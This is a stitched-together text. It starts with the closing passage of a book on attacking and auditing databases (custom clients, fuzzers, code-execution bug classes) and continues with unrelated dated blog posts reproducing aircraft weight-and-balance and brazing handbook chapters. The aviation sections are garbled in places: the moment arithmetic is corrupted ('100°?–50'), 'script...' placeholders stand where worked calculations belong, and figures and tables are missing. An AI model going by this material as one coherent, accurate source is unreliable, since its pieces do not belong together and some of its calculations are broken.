If you restrict yourself to the clients provided by the vendor, you will be subject to the vendor's client-side sanitization of your requests. As a concrete example of this, the overly long username overflow that Mark Litchfield found in Oracle (CAN-2003-0095) was found after using multiple clients, including custom-written ones. The majority of the Oracle-supplied clients would truncate long usernames, or return an error before sending the username to the server. Mark managed to hit on a client that didn't truncate the username, and discovered the bug.

In general, most servers will implement older versions of their network protocols for backward compatibility. Experience tells us that legacy code tends to be less secure than modern code, simply because secure coding has only recently become a serious concern. Older protocol code might pre-date whole classes of security bugs, such as signedness-error-based overflows and format string bugs. Modern clients are unlikely to let you expose these older protocol elements, so (if you have the time) writing your own client is an excellent way of giving these older protocol components a good going-over.

Debug the System to Understand How It Works

The fastest way of getting to know a large, complex application is to "instrument" it—monitor its file system interactions, the network traffic it sends and receives (especially local traffic), take a good look at the shared memory sections that it uses, understand how the various components of the system communicate, and how those communication channels are secured. The Oracle "extproc" library loading issue is an excellent example of a bug that was found simply by observing in detail how the system works.

Identify Communication Protocols

The various components of a database will communicate with each other in a number of different ways—we have already discussed the virtues of implementing your own client. Each network protocol is worth examining, but there are other communication protocols that may not be related to the network that are just as interesting. For instance, the database might implement a file-based protocol between a monitoring component and some log files, or it might store outstanding jobs in some world-writeable directory. Temporary files are another interesting area to examine—several local privilege elevation issues in Oracle and MySQL have related to scripts that made insecure use of temporary files. Broadly speaking, a communication protocol is anything that lets two components of the system communicate. If either of those components can be impersonated, you have a security issue.

Understand Arbitrary Code Execution Bugs

You won't get very far without understanding how arbitrary code execution issues work. Almost everyone is aware of the mechanics of stack overflows, but when you break down arbitrary code execution issues into subcategories, you get interesting families of problems—format string bugs, FormatMessage bugs, sprintf("%s") issues, stack overflows, stack overflows into app data, heap overflows, off-by-one errors, signedness errors, malloc(0) errors—there are a lot of different ways that an attacker can end up running code on the machine, and some of them can be hard to spot if you don't know what you're looking for.

A full description of all of these classes of issues is beyond the scope of this book, however if you're interested, another Wiley publication, The Shellcoder's Handbook, might be a useful resource.

Write Your Own "Fuzzers"

Different people have different definitions of the word "fuzzer." Generally, a fuzzer is a program that provides semi-random inputs to some other program and (possibly) monitors the subject program for errors. You could write a fuzzer that created well-formed SQL queries with overly long parameters to standard functions, for example. Or you could write a fuzzer for Oracle TNS commands, or the SQL Server TDS protocol.

When you write a fuzzer, you're effectively automating a whole class of testing. Some would argue that placing your faith in fuzzers is foolish because you lose most of the "feeling" that you get by doing your testing manually. Although a human might notice a slight difference in behavior from one input to the next—say, a brief pause—a fuzzer won't, unless it's been programmed to. Knowledge, understanding, and hard work can't be easily automated—but brute force and ignorance can, and it's often worth doing.

Conclusion

We believe that the best way to secure a system is to understand how to attack it. This concept, while controversial at first sight, has a long history in the field of cryptography and in the broader network security field. Cryptographic systems are generally not considered "secure" until they have been subjected to some degree of public scrutiny over an extended period of time. We see no reason why software in general should not be subject to the same level of scrutiny. Dan Farmer and Wietse Venema's influential 1994 paper "Improving the Security of Your Site by Breaking into It" neatly makes the argument in favor of understanding attack techniques to better defend your network.

This book is largely composed of a lot of very specific details about the security features and flaws in a number of databases, but you should notice common threads running through the text. We hope that by the end of the book you will have a much better understanding of how to attack the seven databases we address directly here, but also a deeper understanding of how to attack databases in general. With luck, this will translate into databases that are configured, maintained, and audited by people who are far more skilled than the people who attack them.

Aircraft Design Weight and Balance Handbook Ch. 2a

2011-12-18T12:40:00.003+07:00

Weight and Balance Theory

Two elements are vital in the weight and balance considerations of an aircraft:

The total weight of the aircraft must be no greater than the maximum gross weight allowed by the FAA for the particular make and model of the aircraft.
The center of gravity, or the point at which all of the weight of the aircraft is considered to be concentrated, must be maintained within the allowable range for the operational weight of the aircraft.

Aircraft Arms, Weights, and Moments

The term arm, usually measured in inches, refers to the distance between the center of gravity of an item or object and the reference datum. Arms ahead of, or to the left of the datum are negative (–), and those behind, or to the right of the datum are positive (+). When the datum is ahead of the aircraft, all of the arms are positive and computational errors are minimized.

Weight is normally measured in pounds. When weight is removed from an aircraft, it is negative (–), and when added, it is positive (+).

There are a number of weights that must be considered in aircraft weight and balance. The following are terms for various weights as used by the General Aviation Manufacturers Association (GAMA).

The standard empty weight is the weight of the airframe, engines and all items of operating weight that have fixed locations and are permanently installed in the aircraft. This weight must be recorded in the aircraft weight and balance records. The basic empty weight includes the standard empty weight plus any optional equipment that has been installed.
Maximum allowable gross weight is the maximum weight authorized for the aircraft and all of its contents as specified in the Type Certificate Data Sheets (TCDS) or Aircraft Specifications for the aircraft.
Maximum landing weight is the greatest weight that an aircraft normally is allowed to have when it lands.
Maximum takeoff weight is the maximum allowable weight at the start of the takeoff run.
Maximum ramp weight is the total weight of a loaded aircraft, and includes all fuel. It is greater than the takeoff weight due to the fuel that will be burned during the taxi and run up operations. Ramp weight is also called taxi weight.

The manufacturer establishes the allowable gross weight and the range allowed for the CG, as measured in inches from a reference plane called the datum. In large aircraft, this range is measured in percentage of the mean aerodynamic chord (MAC), the leading edge of which is located a specified distance from the datum.
The datum may be located anywhere the manufacturer chooses; it is often the leading edge of the wing or some specific distance from an easily identified location. One popular location for the datum is a specified distance forward of the aircraft, measured in inches from some point such as the leading edge of the wing or the engine firewall.

The datum of some helicopters is the center of the rotor mast, but this location causes some arms to be positive and others negative. To simplify weight and balance computations, most modern helicopters, like airplanes, have the datum located at the nose of the aircraft or a specified distance ahead of it.
A moment is a force that tries to cause rotation, and is the product of the arm, in inches, and the weight, in pounds. Moments are generally expressed in pound-inches (lb-in) and may be either positive or negative. Figure 2-1 shows the way the algebraic sign of a moment is derived. Positive moments cause an airplane to nose up, while negative moments cause it to nose down.
figure 2-1

The Law of the Lever

All weight and balance problems are based on the physical law of the lever. This law states that a lever is balanced when the weight on one side of the fulcrum multiplied by its arm is equal to the weight on the opposite side multiplied by its arm. In other words, the lever is balanced when the algebraic sum of the moments about the fulcrum is zero. [Figure 2-2] This is the condition in which the positive moments (those that try to rotate the lever clockwise) are equal to the negative moments (those that try to rotate it counter- clockwise).

figure 2-2

Consider these facts about the lever in Figure 2-2: The 100-pound weight A is located 50 inches to the left of the fulcrum (the datum, in this instance), and it has a moment of 100°?–50 = –5,000 lb-in. The 200-pound weight B is located 25 inches to the right of the fulcrum, and its moment is 200° +25 = +5,000 lb-in. The sum of the moments is –5,000 +5,000 = 0, and the lever is balanced. [Figure 2-3] The forces that try to rotate it clockwise have the same magnitude as those that try to rotate it counterclockwise.
figure 2-3

Determining the CG
One of the easiest ways to understand weight and balance is to consider a board with weights placed at various locations. We can determine the CG of the board and observe the way the CG changes as the weights are moved. The CG of a board like the one in Figure 2-4 may be deter-mined by using these four steps:

Measure the arm of each weight in inches from a datum.
Multiply each arm by its weight in pounds to determine the moment in pound-inches of each weight.
Determine the total of all the weights and of all the moments. Disregard the weight of the board.
Divide the total moment by the total weight to determine the CG in inches from the datum.

figure 2-4

In Figure 2-4, the board has three weights, and the datum is located 50 inches to the left of the CG of weight A. Determine the CG by making a chart like the one in Figure 2-5.

figure 2-5

As noted in Figure 2-5, “A” weighs 100 pounds and is 50 inches from the datum; “B” weighs 100 pounds and is 90 inches from the datum; “C” weighs 200 pounds and is 150 inches from the datum. Thus the total of the three weights is 400 pounds, and the total moment is 44,000 lb-in. Determine the CG by dividing the total moment by the total weight.

script...

To prove this is the correct CG, move the datum to a location 110 inches to the right of the original datum and determine the arm of each weight from this new datum, as in Figure 2-6. Then make a new chart similar to the one in Figure 2- 7. If the CG is correct, the sum of the moments will be zero.

figure 2-6

The new arm of weight A is 110 – 50 = 60 inches, and since this weight is to the left of the datum, its arm is negative, or –60 inches. The new arm of weight B is 110 – 90 = 20 inches, and it is also to the left of the datum, so it is –20; the new arm of weight C is 150 – 110 = 40 inches. It is to the right of the datum and is therefore positive.

figure 2-7

The location of the datum used for determining the arms of the weights is not important; it can be anywhere. But all of the measurements must be made from the same datum location.

Determining the CG of an airplane is done in the same way as determining the CG of the board in the example on the previous page. [Figure 2-8] Prepare the airplane for weighing (as explained in Chapter 3) and place it on three scales. All tare weight, the weight of any chocks or devices used to hold the aircraft on the scales, is subtracted from the scale reading, and the net weight of the wheels is entered into a chart like the one in Figure 2-9. The arms of the weighing points are specified in the TCDS for the airplane in terms of stations, which are distances in inches from the datum.

figure 2-8 figure 2-9

The empty weight of this aircraft is 5,862 pounds. Its EWCG, determined by dividing the total moment by the total weight, is located at fuselage station 201.1. This is 201.1 inches behind the datum.
script 2...

Aircraft Design Weight and Balance Handbook Ch. 1b

2011-12-18T12:40:00.001+07:00

Weight Changes

The maximum allowable gross weight for an aircraft is determined by design considerations. However, the maximum operational weight may be less than the maximum allowable due to such considerations as high density altitude or high-drag field conditions caused by wet grass or water on the runway. The maximum gross weight may also be limited by the departure or arrival airport’s runway length.
One important preflight consideration is the distribution of the load in the aircraft. Loading an aircraft so the gross weight is less than the maximum allowable is not enough. This weight must be distributed to keep the CG within the limits specified in the POH or AFM.
If the CG is too far forward, a heavy passenger can be moved to one of the rear seats or baggage can be shifted from a forward baggage compartment to a rear compartment. If the CG is too far aft, passenger weight or baggage can be shifted forward. The fuel load should be balanced laterally: the pilot should pay special attention to the POH or AFM regarding the operation of the fuel system, in order to keep the aircraft balanced in flight.

Weight and balance of a helicopter is far more critical than for an airplane. A helicopter may be properly loaded for takeoff, but near the end of a long flight when the fuel tanks are almost empty, the CG may have shifted enough for the helicopter to be out of balance laterally or longitudinally. Before making any long flight, the CG with the fuel available for landing must be checked to ensure it will be within the allowable range.
Airplanes with tandem seating normally have a limitation requiring solo flight to be made from the front seat in some airplanes or the rear seat in others. Some of the smaller helicopters also require solo flight be made from a specific seat, either the right or the left. These seating limitations will be noted by a placard, usually on the instrument panel, and they should be strictly adhered to.

As an aircraft ages, its weight usually increases due to trash and dirt collecting in hard-to-reach locations, and moisture absorbed in the cabin insulation. This growth in weight is normally small, but it can only be determined by accurately weighing the aircraft.

Changes of fixed equipment may have a major effect upon the weight of the aircraft. Many aircraft are overloaded by the installation of extra radios or instruments. Fortunately, the replacement of older, heavy electronic equipment with newer, lighter types results in a weight reduction. This weight change, however helpful, will probably cause the CG to shift and this must be computed and annotated in the weight and balance data.

Repairs and alterations are the major sources of weight changes, and it is the responsibility of the AMT making any repair or alteration to know the weight and location of these changes, and to compute the new CG and record the new empty weight and EWCG in the aircraft weight and balance data.
The AMT conducting an annual or 100-hour inspection must ensure the weight and balance data in the aircraft records is current and accurate. It is the responsibility of the pilot in command to use the most current weight and balance data when operating the aircraft.

Has the Aircraft Gained Weight?
As an aircraft ages, its weight usually increases. Repairs and alterations are the major sources of weight change.
AMTs conducting an annual or 100-hour inspection must ensure the weight and balance data in the aircraft records is current and accurate. The pilot in command’s responsibility is to use the most current weight and balance data when planning a flight.

Stability and Balance Control

Balance control refers to the location of the CG of an aircraft. This is of primary importance to aircraft stability, which determines safety in flight. The CG is the point at which the total weight of the aircraft is assumed to be concentrated, and the CG must be located within specific limits for safe flight. Both lateral and longitudinal balance are important, but the prime concern is longitudinal balance; that is, the location of the CG along the longitudinal or lengthwise axis.

An airplane is designed to have stability that allows it to be trimmed so it will maintain straight and level flight with hands off of the controls. Longitudinal stability is maintained by ensuring the CG is slightly ahead of the center of lift. This produces a fixed nose-down force independent of the airspeed. This is balanced by a variable nose-up force, which is produced by a downward aerodynamic force on the horizontal tail surfaces that varies directly with airspeed.

[Figure 1-1]

If a rising air current should cause the nose to pitch up, the airplane will slow down and the downward force on the tail will decrease. The weight concentrated at the CG will pull the nose back down. If the nose should drop in flight, the airspeed will increase and the increased downward tail load will bring the nose back up to level flight.

As long as the CG is maintained within the allowable limits for its weight, the airplane will have adequate longitudinal stability and control. If the CG is too far aft, it will be too near the center of lift and the airplane will be unstable, and difficult to recover from a stall. [Figure 1-2] If the unstable airplane should ever enter a spin, the spin could become flat and recovery would be difficult or impossible.

[figure 1-2]

If the CG is too far forward, the downward tail load will have to be increased to maintain level flight. This increased tail load has the same effect as carrying additional weight — the aircraft will have to fly at a higher angle of attack, and drag will increase.

A more serious problem caused by the CG being too far forward is the lack of sufficient elevator authority. At slow takeoff speeds, the elevator might not produce enough nose- up force to rotate and on landing there may not be enough elevator force to flare the airplane. [Figure 1-3] Both takeoff and landing runs will be lengthened if the CG is too far forward.

figure 1-3

The efficiency of some modern high-performance military fighter airplanes is increased by giving them neutral longitudinal stability. This is normally a very dangerous situation; but these aircraft are flown by autopilots which react far faster than a human pilot, and they are safe for their special operations.

The basic aircraft design assumes that lateral symmetry exists. For each item of weight added to the left of the centerline of the aircraft (also known as buttock line zero, or BL-0), there is generally an equal weight at a corresponding location on the right.

The lateral balance can be upset by uneven fuel loading or burnoff. The position of the lateral CG is not normally computed for an airplane, but the pilot must be aware of the adverse effects that will result from a laterally unbalanced condition. [Figure 1-4] This is corrected by using the aileron trim tab until enough fuel has been used from the tank on the heavy side to balance the airplane. The deflected trim tab deflects the aileron to produce additional lift on the heavy side, but it also produces additional drag, and the airplane flies inefficiently.

figure 1-4

Helicopters are affected by lateral imbalance more than airplanes. If a helicopter is loaded with heavy occupants and fuel on the same side, it could be enough out of balance to make it unsafe to fly. It is also possible that if external loads are carried in such a position to require large lateral displacement of the cyclic control to maintain level flight, the fore-and-aft cyclic control effectiveness will be limited.

Sweptwing airplanes are more critical due to fuel imbalance because as the fuel is used from the outboard tanks the CG shifts forward, and as it is used from the inboard tanks the CG shifts aft. [Figure 1-5] For this reason, fuel-use scheduling in high-speed jet aircraft operation is critical.

figure 1-5

Aircraft can perform safely and achieve their designed efficiency only when they are operated and maintained in the way their designers intended. This safety and efficiency is determined to a large degree by holding the aircraft’s weight and balance parameters within the limits specified for its design. The remainder of this book describes the way in which this is done.

Aircraft Design Weight and Balance Handbook Ch. 1a

2011-12-18T12:35:00.001+07:00

Why is Weight and Balance Important?

Weight and balance is one of the most important factors affecting safety of flight. An overweight aircraft, or one whose center of gravity is outside the allowable limits, is inefficient and dangerous to fly. The responsibility for proper weight and balance control begins with the engineers and designers and extends to the pilot who operates and the Aviation Maintenance Technician (AMT) who maintains the aircraft.
Modern aircraft are engineered utilizing state-of-the-art technology and materials to lift the maximum amount of weight and carry it the greatest distance at the highest speed. As much care and expertise must be exercised in operating and maintaining these efficient aircraft as was taken in their design and manufacturing.
Various types of aircraft have different load requirements. Transport aircraft must carry huge loads of passengers and cargo for long distances at high altitude and high speed. Military aircraft must be highly maneuverable and extremely sturdy. Corporate aircraft must carry a reasonable load at a high speed for long distances. Agricultural aircraft must carry large loads short distances and be extremely maneuverable. Trainers and private aircraft must be lightweight, low cost, simple, and safe to operate. All aircraft regardless of their function have two characteristics in common: all are sensitive to weight, and the center of gravity of the aircraft must be maintained within a specified range.

The designers of an aircraft have determined the maximum weight, based on the amount of lift the wings or rotors can provide under the operating conditions for which the aircraft is designed. The structural strength of the aircraft also limits the maximum weight the aircraft can safely carry. The ideal location of the center of gravity (CG) was very carefully determined by the designers, and the maximum deviation allowed from this specific location has been calculated. The manufacturer provides the aircraft operator with the empty weight of the aircraft and the location of its empty- weight center of gravity (EWCG) at the time the aircraft left the factory. The AMT who maintains the aircraft and performs the maintenance inspections keeps the weight and balance records current, recording any changes that have been made because of repairs or alterations.
The pilot in command of the aircraft has the responsibility on every flight to know the maximum allowable gross weight of the aircraft and its CG limits. This allows the pilot to determine on the preflight inspection that the aircraft is loaded in such a way that the CG is within the allowable limits.

Weight and balance technology, like all other aspects of aviation, has become more complex as the efficiency and capability of aircraft and engines have increased. Therefore, this requires all pilots and AMTs to understand weight and balance control, and to operate and maintain their aircraft so its weight and CG location are within the limitations established when the aircraft was designed, manufactured, and certified by the FAA.

Weight Control

Weight is a major factor in airplane construction and operation, and it demands respect from all pilots and particular diligence by all AMTs. Excessive weight reduces the efficiency of an aircraft and the safety margin available if an emergency condition should arise.

When an aircraft is designed, it is made as light as the required structural strength will allow, and the wings or rotors are designed to support the maximum allowable gross weight. When the weight of an aircraft is increased, the wings or rotors must produce additional lift and the structure must support not only the additional static loads , but also the dynamic loads imposed by flight maneuvers. For example, the wings of a 3,000-pound airplane must support 3,000 pounds in level flight, but when the airplane is turned smoothly and sharply using a bank angle of 60°, the dynamic load requires the wings to support twice this, or 6,000 pounds.

Severe uncoordinated maneuvers or flight into turbulence can impose dynamic loads on the structure great enough to cause failure. The structure of a normal category airplane must be strong enough to sustain a load factor of 3.8 times its weight; that is, every pound of weight added to an aircraft requires that the structure be strong enough to support an additional 3.8 pounds. An aircraft operating in the utility category must sustain a load factor of 4.4, and acrobatic category aircraft must be strong enough to withstand 6.0 times their weight.

The lift produced by a wing is determined by its airfoil shape, angle of attack, speed through the air, and the air density. When an aircraft takes off from an airport with a high density altitude, it must accelerate to a speed faster than would be required at sea level to produce enough lift to allow takeoff; therefore, a longer takeoff run is necessary. The distance needed may be longer than the available runway. When operating from a high density altitude airport, the Pilot’s Operating Handbook (POH) or Airplane Flight Manual (AFM) must be consulted to determine the maximum weight allowed for the aircraft under the conditions of altitude, temperature, wind, and runway conditions.

Effects of Weight

Most modern aircraft are so designed that if all seats are occupied, all baggage allowed by the baggage compartment structure is carried, and all of the fuel tanks are full, the aircraft will be grossly overloaded. This type of design gives the pilot a great deal of latitude in loading the aircraft for a particular flight. If maximum range is required, occupants or baggage must be left behind, or if the maximum load must be carried, the range, dictated by the amount of fuel on board, must be reduced.

The aircraft will need a higher takeoff speed, which results in a longer takeoff run.
Both the rate and angle of climb will be reduced.
The service ceiling will be lowered.
The cruising speed will be reduced.
The cruising range will be shortened.
Maneuverability will be decreased.
A longer landing roll will be required because the landing speed will be higher.
Excessive loads will be imposed on the structure, especially the landing gear.

The POH or AFM includes tables or charts that give the pilot an indication of the performance expected for any gross weight. An important part of careful preflight planning includes a check of these charts to determine the aircraft is loaded so the proposed flight can be safely made.

High Density Altitude Airport Operations
Consult the POH or AFM to determine the maximum weight allowed for the aircraft under the conditions of altitude, temperature, wind, and runway conditions.
Your preflight planning must include a careful check of gross weight performance charts to determine the aircraft is loaded properly and the proposed flight can be safely made.

Brazing Handbook - Fabrication and assembly of components

2011-12-15T12:32:00.001+07:00

Fabrication and assembly of components

All furnace brazing operations, among them CuproBraze, require narrow tolerances. Generally, closer tolerances and well-defined joint gaps result in better and stronger joints, see figure 19.

Figure 19. Diagram showing filling length in gap with different
clearance.

Another factor to take into account is that the brazing alloy is in powder form and it builds up a thicker layer than a solid metal. The geometry of the tubes and fins and the tube pitch in the header should be adjusted accordingly.

Tube fabrication

Several types of brass tubes can be used to manufacture CuproBraze heat exchangers. These tubes are uniformly made from strip because thin gauges are required for lightness and efficient heat exchange. Tube fabrication requires that the edges of the strip are reliably bonded together. The tube seams can be sealed during the brazing process or they can be welded prior to the brazing process.
Tubes for use in the CuproBraze process should be specified with a crown that is higher compared to the crowns of tubes for use in a soldering process. The crown (see Figure 20) should be 0.4mm to 0.8mm for tube widths 12mm to 25mm. A higher crown results in a more consistent bond between tube and fin, see chapter 11.

Figure 20. Definition of the crown on the tube. Crown is W₂ – W₁.

Important : Tubes for use in the CuproBraze process should be specified with a crown that is higher compared to the crowns of tubes for use in a soldering process.

HF-welded tubes

High frequency (HF) welded tubes are most commonly used today for CuproBraze heat exchangers because their contoured shape is uninterrupted around the circumference of the tube. As a result, a consistent gap can be achieved between the tube and the header. HF-welded tubes are commercially available. When welding tubes of brass strip for CuproBraze, note the differences in the material performance as described in part 2.2. as this can effect the settings of the welding parameters. When bare CuproBraze tubes are produced, careful rinsing and drying are needed to avoid discoloration.

Important: Note the differences between normal and CuproBraze tube materials when HF-welding

Folded tubes

Folded tubes can be made of thinner brass strips (gauges down to about 0.080 mm). In the solder process the most common folded tube uses the lock-seam fold. This type of tube can also be used for the CuproBraze process but new tube designs offer advantages over the lock-seam design. The folded design (called snap-over) and B-fold design are just two types of tubes being tested for CuproBraze heat exchangers. Spraying of paste on the surfaces of the tubes does not result in a leak-tight seal at the seams. Folding methods include injecting the overlapping parts with a bead of brazing paste in the tube mill. Paste injection has to be performed correctly for optimal brazing results. To get optimal fatigue properties of the tubes, the paste injection should secure complete joints on the water side of the tubes. Figure 21 shows cross section of one type of folded tube.

Figure 21. Cross section of one type of folded tube after forming.

Fins

Consistency in the fin amplitude is also important. Inconsistency in the fin height can result in a gap that is too large between fin tip and tube, and a low percentage of correctly brazed tube-to-fin bonds. Also unnecessary amounts of brazing paste on the tubes will be used. Variations from fin-tip to fin-tip should be at an absolute minimum.

Headers

The holes in the header can be designed and manufactured in different ways. (See Figure 22.) For the CuproBraze process, pierced holes are recommended using a two-stage operation, which creates a continuous collar of contact surface area between the header and the subsequently inserted tube. This shape draws braze alloy from the surface of the header into the joint by capillary action. The optimum capillary action is reached at 0.05 mm joint clearance which means that the optimal size for the gap between header and tube is 0.05mm and this gap should not exceed 0.1mm. No tears are allowed in the joint section.
Stiffening ribs on the header are also beneficial (See Figure 23). Besides functioning as reinforcement, ribs lower the slurry consumption. Paste flowing into the wells around the tubes is not wasted on areas between tubes. When header gauges are smaller than 0.8mm (0.03in), extra care is recommended with tabbed header design from the strength point.
The type of oil used in the stamping process normally leaves unwanted residues after brazing, this negatively influences the brazing of the tube-header joints.

Important : If the stamping oil gives this problem, which can be seen as dark surface of the header after brazing, the headers have to be degreased before assembling.

Figure 22. Pierced holes (left and middle) in header are
recommended. Lanced holes (right) are used for soldering but are
not recommended for brazing.

Figure 23. Stiffening ribs on header.

Important : Optimal size for the gap between header and tube is 0.05mm, this gap should not exceed 0.1mm.

Surface conditions

At the brazing temperature, the surfaces of the components to be joined, as well as the brazing powder must be free from any non-metallic films, such as organic residues and metal oxides. In the brazing process, there is nothing, which can remove any dirt, heavy oils and oxides. To be able to wet and alloy with the components, they have to be clean before brazing. All storing of the components must be done in such a way that no contamination of any dust, chemicals and oxides take place, especially the paste coated parts that are very sensitive.
Most types of oils on copper and brass surfaces will form black or even invisible organic residues after heating in nitrogen atmosphere. The residues will be very thin films, which sometimes can be difficult to remove. Oils with low boiling point do not normally form this kind of organic residues.

Important :The oil on the surfaces after fin and tube production, are normally not harmful.

Brazing fixtures and assemblies

As previously mentioned, the brazing powder builds up a thicker layer than a solid metal of the same weight. This extra thickness must be taken into account when specifying tube pitch in headers and brazing-fixture devices.
The tube pitch (see figure 24) in the headers is a function of the tube width and fin amplitude with an allowance for a brazing paste layer. The allowance for brazing paste in turn depends on the tube dimension, the core width and the fin design. The brazing paste allowance has to be determined with actual components. As a guideline, increasing the pitch by 0.10mm often works well, resulting in a complete brazed joint between fin and tube. But for optimal brazing result, it is recommended to check the brazing result between the tubes and the fins for the first sample before further work. Figure 25 illustrates the shape changes of the tubes during compression of the core. See also figures 20 and 23.
The virgin tube has a convex belly, when the tube is compressed it starts flattering. If it is compressed too much, the tube walls will be bent inwards in the centre and become concave.

Figure 24. Definition of the tube pitch.

Figure 25. The figure illustrates what happens to the tubes during
compression of the core. The virgin tube (A) is convex, when the core
is compressed to right dimension the tube sides are flat (B). If the
core is compressed too much, the tube is formed like a “dog-bone”
(C).

In the CuproBraze process the parts go through a temperature-cycle from room temperature up to 650ºC, which means that the differences in the thermal expansion will influence the fixture design. Table 8 shows the thermal expansion coefficient and the expansion for 1 meter of the material from 25 ºC to 650 ºC.

Table 8. The heat expansion and the increase in length (∆l ) from
25ºC to 650ºC for 1m long object.

The assembly and brazing-fixture system should allow for the convex shape of the core before brazing, due to build-up of brazing paste and the heat expansion of the fixture. For a 500mm x 500mm core, a typical dimension measured in the middle of the core is 502.5mm to 503mm.
Another requirement of the brazing fixture is the demand for a reduced mass that allows the fixture to follow the temperature of the radiator core as closely as possible. This arrangement prevents differences in dimensions due to temperature variations that could lead to permanent deformation of fins or tubes. For the same reason, the fixture material should have a thermal expansion coefficient as close as possible to that of brass, favouring stainless steel instead of plain steel.
A slight flexibility in the fixture (to allow it to follow the core when the brazing paste melts) is also recommended, especially for larger cores.
Due to the differences of the heat expansion for header brass and the steel in the fixtures, especially careful work has to be done when designing the fixtures in the corner area of the cores. Figure 26 shows schematically what happens in this area during brazing.

Figure 26. Principles for the influence of the heat expansion in the
corner of the core. At room temperatures (left) and at brazing
temperatures (right).

In figure 26, lh is the distance between the outer tubes and lw is the length of the steel fixture. At brazing temperature, the steel fixture is shorter than the distance between the outer tubes. If the steel part is too short from the beginning or the fixture is placed too close to the header, the outer tubes will be crushed and leakage in the tube- header in the corner area will appear.
It is preferable to design with side supports that are mechanically attached to the header prior to brazing. These supports provide a well-defined gap during the entire brazing cycle for the outermost fins that are close to the header. In this manner, brazing voids or deformation of the fin or tube in the corner region can be avoided.

Brazing Handbook - Paste Application

2011-12-15T10:09:00.001+07:00

Paste application

Brazing pastes are used to form joints between the tubes and the fins as well as to join the tubes to the header. Tank to header and other kinds of joints can also be brazed
For tube-to-fin joints, brazing paste can be applied either on the tube surfaces or on the fin tips, see figure 12
figure 12
A layer of paste can be applied on the surfaces of the heat exchanger parts by many different methods, such as spraying, dipping, roll coating etc.
Except for the thermoplastic pastes, the pastes have to be dried, normally with warm air. Good temperature control during heating and drying is needed to prevent overheating and subsequently poor brazing results. The brazing properties of the pastes can be destroyed above 130ºC. Instructions from paste suppliers must be followed. Most of the brazing pastes involve some kind of solvent, which can form effluents during drying. Contact the paste-manufacturer for more information.

Important: Do not overheat the paste during drying.

Paste on tubes-Spraying

The method most commonly used today is spraying with commercial spray guns. As an example, tube coating, manually as well as automatic spraying is illustrated in figures 13 and 14. Due to the drying time for the paste, it is so far not possible to have the spray coating in line with the tube welding equipment. By turning the tubes 90º, it is possible to match the coating speed with the welding speed.
As pastes from different manufacturers can have different spraying properties as well as drying time, the settings of the applying parameters sometimes have to be changed. The coating is not a homogenous brazing metal, instead it is formed with particles and binder and after drying can also be porous, which means that the coating thickness for a certain weight could differfrom spraying methods as well as type of paste. Therefore the amount of brazing metal should be measured as weight/area.
Coatings should be evenly applied with a coating weight of 150-250 g/m2 after drying, formula 1 shows a calculation of the amount of paste on tubes related to these values. Table 6 shows these amounts of paste related to some tube dimensions. The better the tolerances of the tubes and fins, the thinner the layer can be. It is recommended to start with the thickest (heaviest) coating.

A = L x 2(H + W)x P [1]

Where
A: the amount of dried paste on the tube
L: the length of the tube
H: the height of the tube
W: the width of the tube
P: the preferred amount of paste/m2
tabel 6
Pastes which have a high metal content and which leave a smooth surface after drying are preferred.
It is recommended not to coat the tube ends. If the tube ends are coated it can sometimes have a negative influence on the joint quality of the tube-header joints.
figur 13 figur 14
Depending on the storage area atmosphere, the coated tubes can be stored for days up to several months. The storage should be clean and with no contamination of the coating.
This coating method consumes more paste than needed for the tubes (over-spraying). Work is going on to minimize this amount.

Development of tube coating methods

Work is going on to develop not only the paste spraying but also other coating processes, e.g. thermal spray. The new developments will probably be commercially available during 2007, with options for coating online tube-mill or offline, whichever is preferred.

Important : The amount of filler metal for all tube coating methods shall always fulfill the amounts shown in table 6.

Paste on fin tips

Consumption of brazing paste could in most cases, depending of the fin density, be lowered by applying the paste on the tips of the fins rather than on the tubes. Thermoplastic pastes, as well as some solvent-based pastes, are suitable for fin-tip application. The coating thickness is measured by weighing; the recommended amount of paste on each tip is 0.3 mg/mm to 0.5 mg/mm of fin width. Again, the better the fit between fin and tube the smaller the amount of paste application on the tips. Table 7 shows some examples of amount of paste for some fin widths and density. In the table fpi is the number of fin tips per inch.
The fin tips are coated by contact with paste coated rolls. When using thermoplastic paste, the fins pass through a pair of rollers and are coated in one step. This principle is shown in figures 15 and 16. When using solvent-based pastes, the tips of the fins are coated on one side at a time with drying between.
Depending of the storage atmosphere, the coated fins can be stored for days up to several months. For all types of storages, it should be clean and with no contamination of the coating.
tabel 7 figure 15 figure 16

Tube-to-header joints

A dedicated paste (sometimes called slurry) is recommended for tube-to-header joints. This paste has a lower viscosity than the pastes for tube or fin-tip coating and can be applied by pouring or spraying. Normally the paste is applied on the airside of the header. The volume of the paste is around double the volume of the filler metal in the joints after brazing. The visible amount of paste should therefore be more than what the joints are expected to be after brazing. The amount of paste required is typically 0.5 g (dry weight) per tube end for 16mm wide tubes and 1.8 g per tube end for 60x6mm tubes. These quantities are just guidelines, as the amount of paste is influenced by the geometry of the joint. Formula 2 shows guideline for calculating the amount of paste for other tube dimensions.

E = (H + W)/36 [2]

Where
E is the amount of dried paste on the tube end
H is the height of the tube
W is the width of the tube
And for a total amount on a header

N x (H + W)/36

where N is the quantity of tubes in the header
For multi row cores it is important that the paste is evenly distributed at all joints.
In practice, a small amount of flux can be added to this kind of paste to make the brazing process more forgiving when slightly oxidized components are used. Developments are in hand to find a flux-less paste for this application, too. The paste application methods are well suited for automation. Figure 17 illustrates the principle of paste application to headers. For small production the paste can be applied manually as shown in figure 10. When coating and drying manually, do not overheat the paste. The brazing properties will be destroyed if the paste is heated above 130ºC.
It is recommended to braze the parts within 1-2 days after applying header paste, depending on the storage atmosphere.
figur 18

Important: The brazing properties will be destroyed if the paste is heated above 130 ºC during drying.

Brazing Handbook - Filler Materials

2011-12-15T08:16:00.001+07:00

Filler materials

On the market, there are many well-known filler metals for normal brazing of copper and brass. Figure 9 shows melting ranges of some brazing-alloy families.
Cu-P alloys together with one or more other metals are a group of well known brazing materials for copper and copper alloys. A widely used brazing alloy for copper is CuP alloy with 6 %P. The melting range for this alloy is 707 – 850 ºC and could not be used for CuproBraze. Additions of silver and zinc in the CuP alloys decreases the melting point but still the temperatures are too high. Silver is also too expensive to be used for mass production of heat exchangers.
Except for the CuSnNiP-family, no filler metals have so far been found to be suitable for the CuproBraze process. The brazing filler metals used for joining CuproBraze fins and tubes belong to the lower temperature scale of the CuSnNiP-family. Table 5 lists the composition of the brazing alloys that are used in the CuproBraze process.
